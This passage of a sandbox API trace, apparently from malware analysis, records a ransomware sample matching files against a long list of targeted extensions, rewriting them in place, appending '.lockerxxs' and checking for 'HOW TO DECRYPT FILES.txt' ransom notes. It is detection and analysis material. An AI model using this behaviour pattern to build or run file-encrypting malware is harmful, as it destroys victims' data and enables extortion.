pszSpec="*.mkv") returned 0 [0086.625] lstrlenA (lpString="*.mkv") returned 5 [0086.625] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.eml") returned 0 [0086.626] lstrlenA (lpString="*.eml") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.msg") returned 0 [0086.626] lstrlenA (lpString="*.msg") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.edb") returned 0 [0086.626] lstrlenA (lpString="*.edb") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.accdb") returned 0 [0086.626] lstrlenA (lpString="*.accdb") returned 7 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.odb") returned 0 [0086.626] lstrlenA (lpString="*.odb") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.java") returned 0 [0086.626] lstrlenA (lpString="*.java") returned 6 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.asm") returned 0 [0086.626] lstrlenA (lpString="*.asm") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.pfx") returned 0 [0086.626] lstrlenA (lpString="*.pfx") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.pem") returned 0 [0086.626] lstrlenA (lpString="*.pem") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.p12") returned 0 [0086.626] lstrlenA (lpString="*.p12") returned 5 [0086.626] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.gpg") returned 0 [0086.627] lstrlenA (lpString="*.gpg") returned 5 [0086.627] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", pszSpec="*.vsd") returned 0 [0086.627] lstrlenA (lpString="*.vsd") returned 5 [0086.627] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" [0086.627] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" [0086.627] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3." [0086.627] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3.lockerxxs" [0086.627] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ldmm-u4mdytk.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0086.628] GetFileSize (in: hFile=0x90, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x38f7 [0086.628] GetFileTime (in: hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x706e8430, dwHighDateTime=0x1d5e654), lpLastAccessTime=0x407536*(dwLowDateTime=0x2242b990, dwHighDateTime=0x1d5e6f2), lpLastWriteTime=0x40753e*(dwLowDateTime=0x2242b990, dwHighDateTime=0x1d5e6f2)) returned 1 [0086.628] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.628] ReadFile (in: hFile=0x90, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x38d1, lpOverlapped=0x0) returned 1 [0086.630] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3") returned="LDmM-U4MDYtk.mp3" [0086.630] SetFilePointer (in: hFile=0x90, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0086.630] WriteFile (in: hFile=0x90, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x38d1, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x38d1, lpOverlapped=0x0) returned 1 [0086.630] SetFileTime (hFile=0x90, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0086.630] CloseHandle (hObject=0x90) returned 1 [0086.630] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ldmm-u4mdytk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\ldmm-u4mdytk.mp3.lockerxxs")) returned 1 [0086.631] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x99d86e80, ftCreationTime.dwHighDateTime=0x1d5e76c, ftLastAccessTime.dwLowDateTime=0xe7b554b0, ftLastAccessTime.dwHighDateTime=0x1d5e37f, ftLastWriteTime.dwLowDateTime=0xe7b554b0, ftLastWriteTime.dwHighDateTime=0x1d5e37f, nFileSizeHigh=0x0, nFileSizeLow=0xc1b8, dwReserved0=0xda0001db, dwReserved1=0x4e00c4, cFileName="mRVTAUh7QrJC.gif", cAlternateFileName="MRVTAU~1.GIF")) returned 1 [0086.632] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0086.632] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="mRVTAUh7QrJC.gif") returned -1 [0086.632] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="mRVTAUh7QrJC.gif") returned -1 [0086.632] lstrcmpiA (lpString1="", lpString2="mRVTAUh7QrJC.gif") returned -1 [0086.632] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\LDmM-U4MDYtk.mp3") returned="LDmM-U4MDYtk.mp3" [0086.632] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" [0086.632] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\") returned="" [0086.632] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" [0086.632] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\how to decrypt files.txt")) returned 0x2020 [0086.632] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\", lpString2="mRVTAUh7QrJC.gif" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif" [0086.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.ems") returned 0 [0086.632] lstrlenA (lpString="*.ems") returned 5 [0086.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.db") returned 0 [0086.632] lstrlenA (lpString="*.db") returned 4 [0086.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.dbf") returned 0 [0086.632] lstrlenA (lpString="*.dbf") returned 5 [0086.632] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.myox") returned 0 [0086.633] lstrlenA (lpString="*.myox") returned 6 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.myo") returned 0 [0086.633] lstrlenA (lpString="*.myo") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qbw") returned 0 [0086.633] lstrlenA (lpString="*.qbw") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qbb") returned 0 [0086.633] lstrlenA (lpString="*.qbb") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qbm") returned 0 [0086.633] lstrlenA (lpString="*.qbm") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qbo") returned 0 [0086.633] lstrlenA (lpString="*.qbo") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qbx") returned 0 [0086.633] lstrlenA (lpString="*.qbx") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qba") returned 0 [0086.633] lstrlenA (lpString="*.qba") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qby") returned 0 [0086.633] lstrlenA (lpString="*.qby") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qbj") returned 0 [0086.633] lstrlenA (lpString="*.qbj") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.ofx") returned 0 [0086.633] lstrlenA (lpString="*.ofx") returned 5 [0086.633] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.qif") returned 0 [0086.633] lstrlenA (lpString="*.qif") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mye") returned 0 [0086.634] lstrlenA (lpString="*.mye") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mbox") returned 0 [0086.634] lstrlenA (lpString="*.mbox") returned 6 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.eml") returned 0 [0086.634] lstrlenA (lpString="*.eml") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.pst") returned 0 [0086.634] lstrlenA (lpString="*.pst") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.ost") returned 0 [0086.634] lstrlenA (lpString="*.ost") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.idx") returned 0 [0086.634] lstrlenA (lpString="*.idx") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.dbx") returned 0 [0086.634] lstrlenA (lpString="*.dbx") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.sql") returned 0 [0086.634] lstrlenA (lpString="*.sql") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mdb") returned 0 [0086.634] lstrlenA (lpString="*.mdb") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.fdb") returned 0 [0086.634] lstrlenA (lpString="*.fdb") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.wab") returned 0 [0086.634] lstrlenA (lpString="*.wab") returned 5 [0086.634] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.dat") returned 0 [0086.634] lstrlenA (lpString="*.dat") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.txt") returned 0 [0086.635] lstrlenA (lpString="*.txt") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.jpeg") returned 0 [0086.635] lstrlenA (lpString="*.jpeg") returned 6 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.jpg") returned 0 [0086.635] lstrlenA (lpString="*.jpg") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.png") returned 0 [0086.635] lstrlenA (lpString="*.png") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.php") returned 0 [0086.635] lstrlenA (lpString="*.php") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.cs") returned 0 [0086.635] lstrlenA (lpString="*.cs") returned 4 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.cpp") returned 0 [0086.635] lstrlenA (lpString="*.cpp") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.rar") returned 0 [0086.635] lstrlenA (lpString="*.rar") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.zip") returned 0 [0086.635] lstrlenA (lpString="*.zip") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.html") returned 0 [0086.635] lstrlenA (lpString="*.html") returned 6 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.htm") returned 0 [0086.635] lstrlenA (lpString="*.htm") returned 5 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.xlsx") returned 0 [0086.635] lstrlenA (lpString="*.xlsx") returned 6 [0086.635] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.xls") returned 0 [0086.636] lstrlenA (lpString="*.xls") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mp4") returned 0 [0086.636] lstrlenA (lpString="*.mp4") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.ppt") returned 0 [0086.636] lstrlenA (lpString="*.ppt") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.pptx") returned 0 [0086.636] lstrlenA (lpString="*.pptx") returned 6 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.doc") returned 0 [0086.636] lstrlenA (lpString="*.doc") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.dot") returned 0 [0086.636] lstrlenA (lpString="*.dot") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.docx") returned 0 [0086.636] lstrlenA (lpString="*.docx") returned 6 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.7z") returned 0 [0086.636] lstrlenA (lpString="*.7z") returned 4 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.tar") returned 0 [0086.636] lstrlenA (lpString="*.tar") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.bz2") returned 0 [0086.636] lstrlenA (lpString="*.bz2") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.gz") returned 0 [0086.636] lstrlenA (lpString="*.gz") returned 4 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mkv") returned 0 [0086.636] lstrlenA (lpString="*.mkv") returned 5 [0086.636] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.eml") returned 0 [0086.636] lstrlenA (lpString="*.eml") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.msg") returned 0 [0086.637] lstrlenA (lpString="*.msg") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.edb") returned 0 [0086.637] lstrlenA (lpString="*.edb") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.accdb") returned 0 [0086.637] lstrlenA (lpString="*.accdb") returned 7 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.odb") returned 0 [0086.637] lstrlenA (lpString="*.odb") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.java") returned 0 [0086.637] lstrlenA (lpString="*.java") returned 6 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.asm") returned 0 [0086.637] lstrlenA (lpString="*.asm") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.pfx") returned 0 [0086.637] lstrlenA (lpString="*.pfx") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.pem") returned 0 [0086.637] lstrlenA (lpString="*.pem") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.p12") returned 0 [0086.637] lstrlenA (lpString="*.p12") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.gpg") returned 0 [0086.637] lstrlenA (lpString="*.gpg") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.vsd") returned 0 [0086.637] lstrlenA (lpString="*.vsd") returned 5 [0086.637] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.odg") returned 0 [0086.638] lstrlenA (lpString="*.odg") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.raw") returned 0 [0086.638] lstrlenA (lpString="*.raw") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.nef") returned 0 [0086.638] lstrlenA (lpString="*.nef") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.svg") returned 0 [0086.638] lstrlenA (lpString="*.svg") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.psd") returned 0 [0086.638] lstrlenA (lpString="*.psd") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.vmx") returned 0 [0086.638] lstrlenA (lpString="*.vmx") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.vmdk") returned 0 [0086.638] lstrlenA (lpString="*.vmdk") returned 6 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.vdi") returned 0 [0086.638] lstrlenA (lpString="*.vdi") returned 5 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.lay6") returned 0 [0086.638] lstrlenA (lpString="*.lay6") returned 6 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.mpeg") returned 0 [0086.638] lstrlenA (lpString="*.mpeg") returned 6 [0086.638] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.djvu") returned 0 [0086.638] lstrlenA (lpString="*.djvu") returned 6 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.tiff") returned 0 [0086.639] lstrlenA (lpString="*.tiff") returned 6 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.backup") returned 0 [0086.639] lstrlenA (lpString="*.backup") returned 8 [0086.639] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\mRVTAUh7QrJC.gif", pszSpec="*.pdf") returned 0 [0086.639] lstrlenA (lpString="*.pdf") returned 5 [0086.639] PathMatchSpecA 